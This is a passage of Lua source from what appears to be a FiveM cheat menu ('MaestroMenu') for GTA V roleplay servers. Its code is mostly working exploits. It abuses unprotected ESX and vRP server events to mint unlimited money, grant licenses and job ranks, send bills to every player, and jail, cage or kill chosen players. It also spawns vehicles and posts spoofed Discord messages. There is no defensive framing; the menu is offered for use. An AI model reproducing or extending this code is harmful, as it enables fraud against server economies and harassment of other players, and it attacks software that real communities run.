  2200. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 512.0 * 20.0)
  2201. end
  2202.  
  2203. MaestroMenu.Display()
  2204. elseif MaestroMenu.IsMenuOpened('TorqueBoostMenu') then
  2205. if MaestroMenu.CheckBox('Engine Torque boost ~g~x2', Torque2, function(enabled)
  2206. Torque2 = enabled
  2207. end) then
  2208. elseif MaestroMenu.CheckBox('Engine Torque boost ~g~x4', Torque4, function(enabled)
  2209. Torque4 = enabled
  2210. end) then
  2211. elseif MaestroMenu.CheckBox('Engine Torque boost ~g~x8', Torque8, function(enabled)
  2212. Torque8 = enabled
  2213. end) then
  2214. elseif MaestroMenu.CheckBox('Engine Torque boost ~g~x16', Torque16, function(enabled)
  2215. Torque16 = enabled
  2216. end) then
  2217. elseif MaestroMenu.CheckBox('Engine Torque boost ~g~x32', Torque32, function(enabled)
  2218. Torque32 = enabled
  2219. end) then
  2220. elseif MaestroMenu.CheckBox('Engine Torque boost ~g~x64', Torque64, function(enabled)
  2221. Torque64 = enabled
  2222. end) then
  2223. elseif MaestroMenu.CheckBox('Engine Torque boost ~g~x128', Torque128, function(enabled)
  2224. Torque128 = enabled
  2225. end) then
  2226. elseif MaestroMenu.CheckBox('Engine Torque boost ~g~x256', Torque256, function(enabled)
  2227. Torque256 = enabled
  2228. end) then
  2229. elseif MaestroMenu.CheckBox('Engine Torque boost ~g~x512', Torque512, function(enabled)
  2230. Torque512 = enabled
  2231. end) then
  2232. end
  2233.  
  2234. MaestroMenu.Display()
  2235. elseif MaestroMenu.IsMenuOpened("VehMenu") then
  2236. if MaestroMenu.Button("~g~Spawn Vehicle") then
  2237. local ModelName = KeyboardInput("Enter Vehicle Spawn Name", "", 100)
  2238. if ModelName and IsModelValid(ModelName) and IsModelAVehicle(ModelName) then
  2239. RequestModel(ModelName)
  2240. while not HasModelLoaded(ModelName) do
  2241. Citizen.Wait(0)
  2242. end
  2243.  
  2244. local veh = CreateVehicle(GetHashKey(ModelName), GetEntityCoords(PlayerPedId()), GetEntityHeading(PlayerPedId()), true, true)
  2245.  
  2246. SetPedIntoVehicle(PlayerPedId(), veh, -1)
  2247. else
  2248. drawNotification("~r~Model is not valid!")
  2249. end
  2250. elseif MaestroMenu.Button("~w~Repair Vehicle") then
  2251. SetVehicleFixed(GetVehiclePedIsIn(GetPlayerPed(-1), false))
  2252. SetVehicleDirtLevel(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0.0)
  2253. SetVehicleLights(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
  2254. SetVehicleBurnout(GetVehiclePedIsIn(GetPlayerPed(-1), false), false)
  2255. Citizen.InvokeNative(0x1FD09E7390A74D54, GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
  2256. elseif MaestroMenu.Button("~w~Max Tuning") then
  2257. MaxOut(GetVehiclePedIsUsing(PlayerPedId())
  2258. ) elseif MaestroMenu.Button("~w~Max mechanics ~r~only performance") then
  2259. engine(GetVehiclePedIsUsing(PlayerPedId()))
  2260. elseif MaestroMenu.Button("~w~Change car ~b~plate") then CaPl()
  2261. elseif MaestroMenu.MenuButton('Vehicle ~r~Boost', 'BoostMenu') then
  2262. elseif MaestroMenu.Button("~g~Buy vehicle free") then fv()
  2263. elseif
  2264. MaestroMenu.CheckBox(
  2265. "~w~Rainbow Vehicle Colour",
  2266. RainbowVeh,
  2267. function(enabled)
  2268. RainbowVeh = enabled
  2269. end)
  2270. then
  2271. elseif MaestroMenu.Button("~r~Delete Vehicle") then
  2272. DelVeh(GetVehiclePedIsUsing(PlayerPedId()))
  2273. drawNotification("Vehicle Deleted")
  2274. elseif MaestroMenu.Button("~w~Make vehicle dirty") then
  2275. Clean(GetVehiclePedIsUsing(PlayerPedId()))
  2276. drawNotification("Vehicle is now dirty")
  2277. elseif MaestroMenu.Button("~w~Make vehicle clean") then
  2278. Clean2(GetVehiclePedIsUsing(PlayerPedId()))
  2279. drawNotification("Vehicle is now clean")
  2280. elseif
  2281. MaestroMenu.CheckBox(
  2282. "~w~No Fall",
  2283. Nofall,
  2284. function(enabled)
  2285. Nofall = enabled
  2286.  
  2287. SetPedCanBeKnockedOffVehicle(PlayerPedId(), Nofall)
  2288. end
  2289. )
  2290. then
  2291. elseif
  2292. MaestroMenu.CheckBox(
  2293. "~w~Vehicle Godmode",
  2294. VehGod,
  2295. function(enabled)
  2296. VehGod = enabled
  2297. end
  2298. )
  2299. then
  2300. end
  2301. --triggerevent menu
  2302. MaestroMenu.Display()
  2303. elseif MaestroMenu.IsMenuOpened("ServerMenu") then
  2304. if MaestroMenu.MenuButton("~w~Menu ~r~RECRUIT PLAYERS ~p~NW", "RecrutarPlayers") then
  2305. elseif MaestroMenu.MenuButton("~w~Menu ~b~BOSS", "ESXBoss") then
  2306. elseif MaestroMenu.MenuButton("~w~Menu ~g~MONEY", "ESXMoney") then
  2307. elseif MaestroMenu.MenuButton("~w~Menu ~p~DRUGS", "ESXDrugs") then
  2308. elseif MaestroMenu.MenuButton("~w~Menu ~o~OTHERS", "ESXMisc") then
  2309. end
  2310.  
  2311. MaestroMenu.Display()
  2312. elseif MaestroMenu.IsMenuOpened("ESXBoss") then
  2313. if MaestroMenu.Button("~c~Mechanic~w~ Boss Menu") then
  2314. TriggerEvent('esx_society:openBossMenu', 'mecano', function(data,menu) menu.close() end)
  2315. setMenuVisible(currentMenu, false)
  2316. elseif MaestroMenu.Button("~b~Police~w~ Boss Menu") then
  2317. TriggerEvent('esx_society:openBossMenu', 'police', function(data,menu) menu.close() end)
  2318. setMenuVisible(currentMenu, false)
  2319. elseif MaestroMenu.Button("~r~Ambulance~w~ Boss Menu") then
  2320. TriggerEvent('esx_society:openBossMenu', 'ambulance', function(data,menu) menu.close() end)
  2321. setMenuVisible(currentMenu, false)
  2322. elseif MaestroMenu.Button("~y~Taxi~w~ Boss Menu") then
  2323. TriggerEvent('esx_society:openBossMenu', 'taxi', function(data,menu) menu.close() end)
  2324. setMenuVisible(currentMenu, false)
  2325. elseif MaestroMenu.Button("~g~Real Estate~w~ Boss Menu") then
  2326. TriggerEvent('esx_society:openBossMenu', 'realestateagent', function(data,menu) menu.close() end)
  2327. setMenuVisible(currentMenu, false)
  2328. elseif MaestroMenu.Button("~p~Gang~w~ Boss Menu") then
  2329. TriggerEvent('esx_society:openBossMenu', 'gang', function(data,menu) menu.close() end)
  2330. setMenuVisible(currentMenu, false)
  2331. elseif MaestroMenu.Button("~o~Car Dealer~w~ Boss Menu") then
  2332. TriggerEvent('esx_society:openBossMenu', 'cardealer', function(data,menu) menu.close() end)
  2333. setMenuVisible(currentMenu, false)
  2334. elseif MaestroMenu.Button("~y~Banker~w~ Boss Menu") then
  2335. TriggerEvent('esx_society:openBossMenu', 'banker', function(data,menu) menu.close() end)
  2336. setMenuVisible(currentMenu, false)
  2337. elseif MaestroMenu.Button("~c~Mafia~w~ Boss Menu") then
  2338. TriggerEvent('esx_society:openBossMenu', 'mafia', function(data,menu) menu.close() end)
  2339. setMenuVisible(currentMenu, false)
  2340. elseif MaestroMenu.Button("~g~ESX ~y~Custom Boss Menu") then
  2341. local result = KeyboardInput("Enter Boss Menu Script Name", "", 10)
  2342. if result then
  2343. TriggerEvent('esx_society:openBossMenu', result, function(data,menu) menu.close() end)
  2344. setMenuVisible(currentMenu, false)
  2345. end
  2346. end
  2347.  
  2348. MaestroMenu.Display()
  2349. elseif MaestroMenu.IsMenuOpened("ESXMoney") then
  2350. if MaestroMenu.Button("~r~Automatic money ~w~∑") then
  2351. local result = KeyboardInput("Can be multiplied, watch out", "", 100000000)
  2352. if result then
  2353. TriggerServerEvent('esx_truckerjob:pay', result)
  2354. TriggerServerEvent('vrp_slotmachine:server:2', result)
  2355. TriggerServerEvent("esx_pizza:pay", result)
  2356. TriggerServerEvent('esx_jobs:caution', 'give_back', result)
  2357. TriggerServerEvent('lscustoms:payGarage', result)
  2358. TriggerServerEvent('esx_tankerjob:pay', result)
  2359. TriggerServerEvent('esx_vehicletrunk:giveDirty', result)
  2360. TriggerServerEvent('f0ba1292-b68d-4d95-8823-6230cdf282b6', result)
  2361. TriggerServerEvent('gambling:spend', result)
  2362. TriggerServerEvent('265df2d8-421b-4727-b01d-b92fd6503f5e', result)
  2363. TriggerServerEvent('AdminMenu:giveDirtyMoney', result)
  2364. TriggerServerEvent('AdminMenu:giveBank', result)
  2365. TriggerServerEvent('AdminMenu:giveCash', result)
  2366. TriggerServerEvent('esx_slotmachine:sv:2', result)
  2367. TriggerServerEvent('esx_truckerjob:pay', result)
  2368. TriggerServerEvent('esx_moneywash:deposit', result)
  2369. TriggerServerEvent('esx_moneywash:withdraw', result)
  2370. TriggerServerEvent('esx_moneywash:deposit', result)
  2371. TriggerServerEvent('mission:completed', result)
  2372. TriggerServerEvent('99kr-burglary:addMoney', result)
  2373. drawNotification("Testing all ~g~ESX scripts ~w~look in inventory")
  2374. end
  2375.  
  2376. elseif MaestroMenu.Button("~g~Money ~w~1") then
  2377. local result = KeyboardInput("Enter amount of money", "", 100000000)
  2378. if result then
  2379. TriggerServerEvent("esx_jobs:caution", "give_back", result)
  2380. end
  2381. elseif MaestroMenu.Button("~g~Money ~w~2") then
  2382. local result = KeyboardInput("Enter amount of money", "", 100000000)
  2383. if result then
  2384. TriggerServerEvent('esx_truckerjob:pay', result)
  2385. end
  2386. elseif MaestroMenu.Button("~g~Money ~w~3") then
  2387. local result = KeyboardInput("Enter amount of money", "", 100000000)
  2388. if result then
  2389. TriggerServerEvent('AdminMenu:giveBank', result)
  2390. end
  2391. elseif MaestroMenu.Button("~g~Money ~w~4") then
  2392. local result = KeyboardInput("Enter amount of money", "", 100000000)
  2393. if result then
  2394. TriggerServerEvent('AdminMenu:giveCash', result)
  2395. end
  2396. elseif MaestroMenu.Button("~g~Money ~w~5") then
  2397. local result = KeyboardInput("Enter amount of money", "", 100000000)
  2398. if result then
  2399. TriggerServerEvent("esx_gopostaljob:pay", result)
  2400. end
  2401. elseif MaestroMenu.Button("~g~Money ~w~6") then
  2402. local result = KeyboardInput("Enter amount of money", "", 100000000)
  2403. if result then
  2404. TriggerServerEvent("esx_banksecurity:pay", result)
  2405. end
  2406. elseif MaestroMenu.Button("~g~Money ~w~7") then
  2407. local result = KeyboardInput("Enter amount of money", "", 100000000)
  2408. if result then
  2409. TriggerServerEvent("esx_slotmachine:sv:2", result)
  2410. end
  2411. elseif MaestroMenu.Button("~g~Money ~w~8") then
  2412. local result = KeyboardInput("Enter amount of money", "", 100)
  2413. if result then
  2414. TriggerServerEvent("lscustoms:payGarage", {costs = -result})
  2415. end
  2416. elseif MaestroMenu.Button("~g~Money ~w~9") then
  2417. local result = KeyboardInput("Enter amount of money", "", 100)
  2418. if result then
  2419. TriggerServerEvent("vrp_slotmachine:server:2", result)
  2420. end
  2421. elseif MaestroMenu.Button("~g~Money ~w~10") then
  2422. local result = KeyboardInput("Enter amount of money", "", 100000000)
  2423. if result then
  2424. TriggerServerEvent('AdminMenu:giveDirtyMoney', result)
  2425. end
  2426. elseif MaestroMenu.Button("~g~Money ~w~11") then
  2427. local result = KeyboardInput("Enter amount of money", "", 100000000)
  2428. if result then
  2429. TriggerServerEvent('esx_truckerjob:pay', result)
  2430. end
  2431. elseif MaestroMenu.Button("~g~Money ~w~12") then
  2432. local result = KeyboardInput("Enter amount of money", "", 100000000)
  2433. if result then
  2434. TriggerServerEvent('delivery:success', result)
  2435. end
  2436. elseif MaestroMenu.Button("~g~Money ~w~13") then
  2437. local result = KeyboardInput("Enter amount of money", "", 100000000)
  2438. if result then
  2439. TriggerServerEvent ('taxi:success', result)
  2440. end
  2441. elseif MaestroMenu.Button("~g~Money ~w~14") then
  2442. TriggerServerEvent('esx_pilot:success')
  2443. TriggerServerEvent('esx_taxijob:success')
  2444. elseif MaestroMenu.Button("~g~Money ~w~15") then
  2445. local result = KeyboardInput("Enter amount of money", "", 100000000)
  2446. if result then
  2447. TriggerServerEvent("esx_garbagejob:pay", result)
  2448. end
  2449. elseif MaestroMenu.Button("~w~Bank ~r~Deposit") then
  2450. local result = KeyboardInput("Enter amount of money", "", 100)
  2451. if result then
  2452. TriggerServerEvent("bank:deposit", result)
  2453. end
  2454. elseif MaestroMenu.Button("~w~Bank ~r~Withdraw ") then
  2455. local result = KeyboardInput("Enter amount of money", "", 100)
  2456. if result then
  2457. TriggerServerEvent("bank:withdraw", result)
  2458. end
  2459. end
  2460.  
  2461.  
  2462.  
  2463. MaestroMenu.Display()
  2464. elseif MaestroMenu.IsMenuOpened("ESXMisc") then
  2465. if MaestroMenu.Button("~g~ESX ~r~SEND EVERYONE A BILL") then
  2466. local amount = KeyboardInput("Enter Amount", "", 100000000)
  2467. local name = KeyboardInput("Enter the name of the Bill", "", 100000000)
  2468. if amount and name then
  2469. for i = 0, 128 do
  2470. TriggerServerEvent('esx_billing:sendBill', GetPlayerServerId(i), "Purposeless", name, amount)
  2471. end
  2472. end
  2473. elseif MaestroMenu.Button("~g~ESX ~w~Get all licenses ") then
  2474. TriggerServerEvent("dmv:success")
  2475. TriggerServerEvent('esx_weashopjob:addLicense', 'tazer')
  2476. TriggerServerEvent('esx_weashopjob:addLicense', 'ppa')
  2477. TriggerServerEvent('esx_weashopjob:addLicense', 'ppa2')
  2478. TriggerServerEvent('esx_weashopjob:addLicense', 'drive_bike')
  2479. TriggerServerEvent('esx_weashopjob:addLicense', 'drive_truck')
  2480. TriggerServerEvent('esx_dmvschool:addLicense', 'dmv')
  2481. TriggerServerEvent('esx_dmvschool:addLicense', 'drive')
  2482. TriggerServerEvent('esx_dmvschool:addLicense', 'drive_bike')
  2483. TriggerServerEvent('esx_dmvschool:addLicense', 'drive_truck')
  2484. TriggerServerEvent('esx_airlines:addLicense', 'helico')
  2485. TriggerServerEvent('esx_airlines:addLicense', 'avion')
  2486. elseif MaestroMenu.Button("~w~Send Discord Message") then
  2487. local Message = KeyboardInput("Enter message to send", "", 100)
  2488. TriggerServerEvent("DiscordBot:playerDied", Message, "1337")
  2489. drawNotification("The message:~n~" .. Message .. "~n~Has been ~g~sent!")
  2490. elseif MaestroMenu.Button("~w~Send Police Car Advert") then
  2491. TriggerServerEvent("esx:enterpolicecar",GetDisplayNameFromVehicleModel(GetEntityModel(GetVehiclePedIsIn(GetPlayerPed(-1), 0))))
  2492.  
  2493. end
  2494.  
  2495.  
  2496. MaestroMenu.Display()
  2497. elseif MaestroMenu.IsMenuOpened("MiscServerOptions") then
  2498. if MaestroMenu.Button("~w~Send Discord Message") then
  2499. local Message = KeyboardInput("Enter message to send", "", 100)
  2500. TriggerServerEvent("DiscordBot:playerDied", Message, "1337")
  2501. drawNotification("The message:~n~" .. Message .. "~n~Has been ~g~sent!")
  2502. elseif MaestroMenu.Button("~w~Send Police Car Advert") then
  2503. TriggerServerEvent("esx:enterpolicecar",GetDisplayNameFromVehicleModel(GetEntityModel(GetVehiclePedIsIn(GetPlayerPed(-1), 0))))
  2504. end
  2505.  
  2506. MaestroMenu.Display()
  2507. elseif MaestroMenu.IsMenuOpened("VRPOptions") then
  2508. if MaestroMenu.Button("~r~VRP ~w~Give Money ~ypayGarage") then
  2509. local result = KeyboardInput("Enter amount of money USE AT YOUR OWN RISK", "", 100)
  2510. if result then
  2511. TriggerServerEvent("lscustoms:payGarage", {costs = -result})
  2512. end
  2513. elseif MaestroMenu.Button("~r~VRP ~g~WIN ~w~Slot Machine") then
  2514. local result = KeyboardInput("Enter amount of money USE AT YOUR OWN RISK", "", 100)
  2515. if result then
  2516. TriggerServerEvent("vrp_slotmachine:server:2", result)
  2517. end
  2518. elseif MaestroMenu.Button("~r~VRP ~w~Get driving license") then
  2519. TriggerServerEvent("dmv:success")
  2520. elseif MaestroMenu.Button("~r~VRP ~w~Bank Deposit") then
  2521. local result = KeyboardInput("Enter amount of money", "", 100)
  2522. if result then
  2523. TriggerServerEvent("bank:deposit", result)
  2524. end
  2525. elseif MaestroMenu.Button("~r~VRP ~w~Bank Withdraw ") then
  2526. local result = KeyboardInput("Enter amount of money", "", 100)
  2527. if result then
  2528. TriggerServerEvent("bank:withdraw", result)
  2529. end
  2530. end
  2531.  
  2532.  
  2533. MaestroMenu.Display()
  2534. elseif MaestroMenu.IsMenuOpened("ESXDrugs") then
  2535. if MaestroMenu.Button("~g~Harvest ~g~Weed ~c~(x5)") then
  2536. TriggerServerEvent("esx_drugs:startHarvestWeed")
  2537. TriggerServerEvent("esx_drugs:startHarvestWeed")
  2538. TriggerServerEvent("esx_drugs:startHarvestWeed")
  2539. TriggerServerEvent("esx_drugs:startHarvestWeed")
  2540. TriggerServerEvent("esx_drugs:startHarvestWeed")
  2541. elseif MaestroMenu.Button("~g~Transform ~g~Weed ~c~(x5)") then
  2542. TriggerServerEvent("esx_drugs:startTransformWeed")
  2543. TriggerServerEvent("esx_drugs:startTransformWeed")
  2544. TriggerServerEvent("esx_drugs:startTransformWeed")
  2545. TriggerServerEvent("esx_drugs:startTransformWeed")
  2546. TriggerServerEvent("esx_drugs:startTransformWeed")
  2547. elseif MaestroMenu.Button("~g~Sell ~g~Weed ~c~(x5)") then
  2548. TriggerServerEvent("esx_drugs:startSellWeed")
  2549. TriggerServerEvent("esx_drugs:startSellWeed")
  2550. TriggerServerEvent("esx_drugs:startSellWeed")
  2551. TriggerServerEvent("esx_drugs:startSellWeed")
  2552. TriggerServerEvent("esx_drugs:startSellWeed")
  2553. elseif MaestroMenu.Button("~w~Harvest ~w~Coke ~c~(x5)") then
  2554. TriggerServerEvent("esx_drugs:startHarvestCoke")
  2555. TriggerServerEvent("esx_drugs:startHarvestCoke")
  2556. TriggerServerEvent("esx_drugs:startHarvestCoke")
  2557. TriggerServerEvent("esx_drugs:startHarvestCoke")
  2558. TriggerServerEvent("esx_drugs:startHarvestCoke")
  2559. elseif MaestroMenu.Button("~w~Transform ~w~Coke ~c~(x5)") then
  2560. TriggerServerEvent("esx_drugs:startTransformCoke")
  2561. TriggerServerEvent("esx_drugs:startTransformCoke")
  2562. TriggerServerEvent("esx_drugs:startTransformCoke")
  2563. TriggerServerEvent("esx_drugs:startTransformCoke")
  2564. TriggerServerEvent("esx_drugs:startTransformCoke")
  2565. elseif MaestroMenu.Button("~w~Sell ~w~Coke ~c~(x5)") then
  2566. TriggerServerEvent("esx_drugs:startSellCoke")
  2567. TriggerServerEvent("esx_drugs:startSellCoke")
  2568. TriggerServerEvent("esx_drugs:startSellCoke")
  2569. TriggerServerEvent("esx_drugs:startSellCoke")
  2570. TriggerServerEvent("esx_drugs:startSellCoke")
  2571. elseif MaestroMenu.Button("~r~Harvest Meth ~c~(x5)") then
  2572. TriggerServerEvent("esx_drugs:startHarvestMeth")
  2573. TriggerServerEvent("esx_drugs:startHarvestMeth")
  2574. TriggerServerEvent("esx_drugs:startHarvestMeth")
  2575. TriggerServerEvent("esx_drugs:startHarvestMeth")
  2576. TriggerServerEvent("esx_drugs:startHarvestMeth")
  2577. elseif MaestroMenu.Button("~r~Transform Meth ~c~(x5)") then
  2578. TriggerServerEvent("esx_drugs:startTransformMeth")
  2579. TriggerServerEvent("esx_drugs:startTransformMeth")
  2580. TriggerServerEvent("esx_drugs:startTransformMeth")
  2581. TriggerServerEvent("esx_drugs:startTransformMeth")
  2582. TriggerServerEvent("esx_drugs:startTransformMeth")
  2583. elseif MaestroMenu.Button("~r~Sell Meth ~c~(x5)") then
  2584. TriggerServerEvent("esx_drugs:startSellMeth")
  2585. TriggerServerEvent("esx_drugs:startSellMeth")
  2586. TriggerServerEvent("esx_drugs:startSellMeth")
  2587. TriggerServerEvent("esx_drugs:startSellMeth")
  2588. TriggerServerEvent("esx_drugs:startSellMeth")
  2589. elseif MaestroMenu.Button("~p~Harvest Opium ~c~(x5)") then
  2590. TriggerServerEvent("esx_drugs:startHarvestOpium")
  2591. TriggerServerEvent("esx_drugs:startHarvestOpium")
  2592. TriggerServerEvent("esx_drugs:startHarvestOpium")
  2593. TriggerServerEvent("esx_drugs:startHarvestOpium")
  2594. TriggerServerEvent("esx_drugs:startHarvestOpium")
  2595. elseif MaestroMenu.Button("~p~Transform Opium ~c~(x5)") then
  2596. TriggerServerEvent("esx_drugs:startTransformOpium")
  2597. TriggerServerEvent("esx_drugs:startTransformOpium")
  2598. TriggerServerEvent("esx_drugs:startTransformOpium")
  2599. TriggerServerEvent("esx_drugs:startTransformOpium")
  2600. TriggerServerEvent("esx_drugs:startTransformOpium")
  2601. elseif MaestroMenu.Button("~p~Sell Opium ~c~(x5)") then
  2602. TriggerServerEvent("esx_drugs:startSellOpium")
  2603. TriggerServerEvent("esx_drugs:startSellOpium")
  2604. TriggerServerEvent("esx_drugs:startSellOpium")
  2605. TriggerServerEvent("esx_drugs:startSellOpium")
  2606. TriggerServerEvent("esx_drugs:startSellOpium")
  2607. elseif MaestroMenu.Button("~g~Money Wash ~c~(x10)") then
  2608. TriggerServerEvent("esx_blanchisseur:startWhitening", 85)
  2609. TriggerServerEvent("esx_blanchisseur:startWhitening", 85)
  2610. TriggerServerEvent("esx_blanchisseur:startWhitening", 85)
  2611. TriggerServerEvent("esx_blanchisseur:startWhitening", 85)
  2612. TriggerServerEvent("esx_blanchisseur:startWhitening", 85)
  2613. TriggerServerEvent("esx_blanchisseur:startWhitening", 85)
  2614. TriggerServerEvent("esx_blanchisseur:startWhitening", 85)
  2615. TriggerServerEvent("esx_blanchisseur:startWhitening", 85)
  2616. TriggerServerEvent("esx_blanchisseur:startWhitening", 85)
  2617. TriggerServerEvent("esx_blanchisseur:startWhitening", 85)
  2618. elseif MaestroMenu.Button("~r~Stop all ~c~(Drugs)") then
  2619. TriggerServerEvent("esx_drugs:stopHarvestCoke")
  2620. TriggerServerEvent("esx_drugs:stopTransformCoke")
  2621. TriggerServerEvent("esx_drugs:stopSellCoke")
  2622. TriggerServerEvent("esx_drugs:stopHarvestMeth")
  2623. TriggerServerEvent("esx_drugs:stopTransformMeth")
  2624. TriggerServerEvent("esx_drugs:stopSellMeth")
  2625. TriggerServerEvent("esx_drugs:stopHarvestWeed")
  2626. TriggerServerEvent("esx_drugs:stopTransformWeed")
  2627. TriggerServerEvent("esx_drugs:stopSellWeed")
  2628. TriggerServerEvent("esx_drugs:stopHarvestOpium")
  2629. TriggerServerEvent("esx_drugs:stopTransformOpium")
  2630. TriggerServerEvent("esx_drugs:stopSellOpium")
  2631. drawNotification("~r~Everything is now stopped.")
  2632. end
  2633.  
  2634. MaestroMenu.Display()
  2635. elseif MaestroMenu.IsMenuOpened("RecrutarPlayers") then
  2636. for i = 0, 128 do
  2637. if NetworkIsPlayerActive(i) and GetPlayerServerId(i) ~= 0 and MaestroMenu.MenuButton("~r~-» ~w~"..GetPlayerName(i).."", 'RecrutarPlayersOptions') then
  2638. SelectedPlayer = i
  2639. end
  2640. end
  2641.  
  2642. MaestroMenu.Display()
  2643. elseif MaestroMenu.IsMenuOpened("RecrutarPlayersOptions") then
  2644. MaestroMenu.SetSubTitle("RecrutarPlayersOptions", "Recrutar Players options [" .. GetPlayerName(SelectedPlayer) .. "]")
  2645. if MaestroMenu.Button("~w~Recruit~c~ Mechanic") then
  2646. TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), "mecano", 0)
  2647. TriggerServerEvent('Esx-MenuPessoal:Boss_recruterplayer', GetPlayerServerId(SelectedPlayer), "mecano", 0)
  2648. TriggerServerEvent('esx:recruterplayer', GetPlayerServerId(SelectedPlayer), "mecano", 0)
  2649. elseif MaestroMenu.Button("~w~Recruit~b~ Police") then
  2650. TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), "police", 0)
  2651. TriggerServerEvent('Esx-MenuPessoal:Boss_recruterplayer', GetPlayerServerId(SelectedPlayer), "police", 0)
  2652. elseif MaestroMenu.Button("~w~Recruit~c~ Mafia") then
  2653. TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), "mafia", 0)
  2654. TriggerServerEvent('Esx-MenuPessoal:Boss_recruterplayer', GetPlayerServerId(SelectedPlayer), "mafia", 0)
  2655. elseif MaestroMenu.Button("~w~Recruit~p~ Gang") then
  2656. TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), "gang", 0)
  2657. TriggerServerEvent('Esx-MenuPessoal:Boss_recruterplayer', GetPlayerServerId(SelectedPlayer), "gang", 0)
  2658. elseif MaestroMenu.Button("~w~Recruit~r~ Inem") then
  2659. TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), "ambulance", 0)
  2660. TriggerServerEvent('Esx-MenuPessoal:Boss_recruterplayer', GetPlayerServerId(SelectedPlayer), "ambulance", 0)
  2661. elseif MaestroMenu.Button("~w~Custom Recruit") then
  2662. local reason = KeyboardInput("Enter the job name", "", 100)
  2663. local reason2 = KeyboardInput("Enter the nivel job number 0-10", "", 10)
  2664. if reason and reason2 then
  2665. TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), reason, reason2)
  2666. TriggerServerEvent('Esx-MenuPessoal:Boss_recruterplayer',GetPlayerServerId(SelectedPlayer), reason, reason2)
  2667. end
  2668. end
  2669.  
  2670.  
  2671.  
  2672.  
  2673. -- online player n shit
  2674. elseif MaestroMenu.IsMenuOpened("OnlinePlayerMenu") then
  2675. for i = 0, 128 do
  2676. if NetworkIsPlayerActive(i) and GetPlayerServerId(i) ~= 0 and MaestroMenu.MenuButton(" ~w~"..GetPlayerName(i)..""..(IsPedDeadOrDying(GetPlayerPed(i), 1) and "~w~[~r~DEAD~w~]" or "~w~[~g~ALIVE~w~]"), 'PlayerOptionsMenu') then
  2677. SelectedPlayer = i
  2678. end
  2679. end
  2680.  
  2681.  
  2682. MaestroMenu.Display()
  2683. elseif MaestroMenu.IsMenuOpened("PlayerOptionsMenu") then
  2684. MaestroMenu.SetSubTitle("PlayerOptionsMenu", "Player ~w~[" .. GetPlayerName(SelectedPlayer) .. "]")
  2685. if MaestroMenu.Button("~w~Spectate", (Spectating and "~g~[SPECTATING]")) then
  2686. SpectatePlayer(SelectedPlayer)
  2687. elseif MaestroMenu.Button("~w~Teleport To Player") then
  2688. local Entity = IsPedInAnyVehicle(PlayerPedId(), false) and GetVehiclePedIsUsing(PlayerPedId()) or PlayerPedId()
  2689. SetEntityCoords(Entity, GetEntityCoords(GetPlayerPed(SelectedPlayer)), 0.0, 0.0, 0.0, false)
  2690. elseif MaestroMenu.Button("~g~Give ~w~Money") then
  2691. local result = KeyboardInput("Enter amount of money to give", "", 100000000)
  2692. if result then
  2693. TriggerServerEvent('esx:giveInventoryItem', GetPlayerServerId(SelectedPlayer), "item_money", "money", result)
  2694. end
  2695. elseif MaestroMenu.Button("~w~Open Inventory") then
  2696. TriggerEvent("esx_inventoryhud:openPlayerInventory", GetPlayerServerId(SelectedPlayer), GetPlayerName(SelectedPlayer))
  2697. elseif MaestroMenu.Button("~g~Revive ~g~ESX") then
  2698. TriggerServerEvent("esx_ambulancejob:revive", GetPlayerServerId(SelectedPlayer))
  2699. TriggerServerEvent("whoapd:revive", GetPlayerServerId(SelectedPlayer))
  2700. TriggerServerEvent("paramedic:revive", GetPlayerServerId(SelectedPlayer))
  2701. TriggerServerEvent("ems:revive", GetPlayerServerId(SelectedPlayer))
  2702. elseif MaestroMenu.Button("~g~Revive ~b~VRP") then CreatePickup(GetHashKey("PICKUP_HEALTH_STANDARD"), GetEntityCoords(GetPlayerPed(SelectedPlayer)))
  2703. elseif MaestroMenu.Button("~w~Give ~b~Armour ") then CreatePickup(GetHashKey("PICKUP_ARMOUR_STANDARD"), GetEntityCoords(GetPlayerPed(SelectedPlayer)))
  2704. elseif MaestroMenu.Button("~r~Kill ~w~Player") then AddExplosion(GetEntityCoords(GetPlayerPed(SelectedPlayer)), 4, 1337.0, false, true, 0.0)
  2705. elseif MaestroMenu.Button('~r~Cage ~w~player') then
  2706. x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(SelectedPlayer)))
  2707. roundx = tonumber(string.format('%.2f', x))
  2708. roundy = tonumber(string.format('%.2f', y))
  2709. roundz = tonumber(string.format('%.2f', z))
  2710. local e7 = 'prop_fnclink_05crnr1'
  2711. local e8 = GetHashKey(e7)
  2712. RequestModel(e8)
  2713. while not HasModelLoaded(e8) do
  2714. Citizen.Wait(0)
  2715. end
  2716. local e9 = CreateObject(e8, roundx - 1.70, roundy - 1.70, roundz - 1.0, true, true, false)
  2717. local ea = CreateObject(e8, roundx + 1.70, roundy + 1.70, roundz - 1.0, true, true, false)
  2718. SetEntityHeading(e9, -90.0)
  2719. SetEntityHeading(ea, 90.0)
  2720. FreezeEntityPosition(e9, true)
  2721. FreezeEntityPosition(ea, true)
  2722. elseif MaestroMenu.Button("~r~Jail") then
  2723. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(SelectedPlayer), 45 * 60)
  2724. TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(SelectedPlayer), 45 * 60)
  2725. TriggerServerEvent("js:jailuser", GetPlayerServerId(SelectedPlayer), 45 * 60, "dude weed")
  2726. elseif MaestroMenu.Button("~g~Unjail") then
  2727. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(SelectedPlayer), 0)
  2728. TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(SelectedPlayer), 0)
  2729. TriggerServerEvent("esx_jail:unjailQuest", GetPlayerServerId(SelectedPlayer))
  2730. TriggerServerEvent("js:removejailtime", GetPlayerServerId(SelectedPlayer))
  2731. elseif MaestroMenu.Button("~g~Give All Weapons") then
  2732. for i = 1, #allWeapons do
  2733. GiveWeaponToPed(GetPlayerPed(SelectedPlayer), GetHashKey(allWeapons[i]), 1000, false, false)
  2734. end
